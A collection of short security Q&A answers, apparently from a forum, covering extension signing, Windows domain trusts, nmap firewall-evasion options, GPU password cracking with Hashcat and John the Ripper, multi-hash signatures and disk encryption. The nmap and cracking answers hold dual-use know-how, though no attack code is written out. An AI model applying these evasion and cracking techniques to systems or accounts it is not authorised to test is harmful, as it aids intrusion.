The packages are signed, any modification of the package would cause the signature to be invalid.

Only you the app creator has access to the private key file so no other person could modify your file then re-sign it either. In fact if you loose your private key file you can't distribute updates to your extension because extensions will only update from packages signed with the same private key it was originally built with.


In a trust relationship, the two domains are referred to as the trusting domain and the trusted domain. The trusted domain is the domain where the trust relationship is created. The trusting domain is the other domain specified in the trust, that is, the one wherein network resources can to be accessed. The trusting domain in this case recognizes the logon authentications of the trusted domain. This helps to know the details about understanding trust model in Windows NT domain. This source will help you to setup the trust relation between two domains.


how to bypass windows xp firewall with nmap

The whole point about firewalls is that you cannot bypass them, if you could they wouldn't be doing their job very well.

That being said the scan you have set up is not optimal, you are spoofing your source address for one thing, so you won't be seeing return packets. Even if your packets get through you won't see a response (unless you are using -S with the correct IP address of your interface although that's almost never required). You are also using -D, which is probably useless in your case although I wouldn't expect it to hurt anything. Fragments and bad checksums aren't a bad idea, but what you are really missing is:

Make sure you are scanning the ports you want to reach. Nmap by default doesn't scan all ports, it scans 1-1024 and then anything in the services file. If the ports you want to reach aren't there you will need to specify them using -p. You can also limit the scan to less ports if you have a set list you want to reach, which will save time
If you want to circumvent firewalls you are unlikely to be able to do it in default scan mode, read this section on port scanning techniques


How can hackers get 1 billion passwords per second?

With that kind of speed, I can only assume you're talking about offline attacks (e.g. John the Ripper). Also, the metrics for speed are heavily dependent on the type of password you're attempting to crack.

They key to getting speed is to 1) use software capable of maxing out hardware, and 2) throwing hardware resources at the problem.

For #1, it depends on the type of password. For example, Hashcat is great for computing hashes using GPUs. I'd also recommend John the Ripper. You'll need to be sure that you're compiling it to work with your hardware. Here are a couple of resources to dive deeper into doing so, for JTR:

http://openwall.info/wiki/john/GPU
https://blog.sleeplessbeastie.eu/2015/11/02/how-to-crack-password-using-nvidia-gpu/

For #2, here's a link to someone's cracking rig:

https://www.trustwave.com/Resources/SpiderLabs-Blog/Building-my-own-personal-password-cracking-box/

Note the use of multiple GPUs with heavy cooling. Also, note his results using both JTR and Hashcat.


How to sign multiple data sets with a single signature, so that it can be validated for single data set without requiring the rest of the data?

Yes, if Bob creates his signature over hash(SecretA) || hash(SecretB) || hash(SecretC), like so:
Signature = Sign( hash(SecretA) || hash(SecretB) || hash(SecretC) )

and hash(SecretA), hash(SecretB), and hash(SecretC) are made public.
Then, Alice can prove to Carol that Bob signed SecretA by taking a hash of SecretA, and concatenating it with hash(SecretB) and hash(SecretC) [remember hash(SecretB) and hash(SecretC) are public, so Alice and Carol do not need to know SecretB and SecretC] , then verifying the signature over the above using Bob's public key.


How to prevent documents from being stolen via Linux live CD

The solution to this is disk encryption. Enabling disk encryption will scramble the contents of the drive in a way such that only someone who possesses the encryption key can unscramble it and read the contents.

Fortunately, most modern operating systems have disk encryption features built in. If you have a Pro edition of Windows, you likely already have access to Bitlocker which is Microsoft's disk encryption tool. Just go to My Computer, right click your drive, and click "Turn on Bitlocker."

If you only have a Home edition of Windows and don't have access to Bitlocker, there are free and paid third-party tools you can use instead. Veracrypt comes to mind as one of the most reputable free solutions.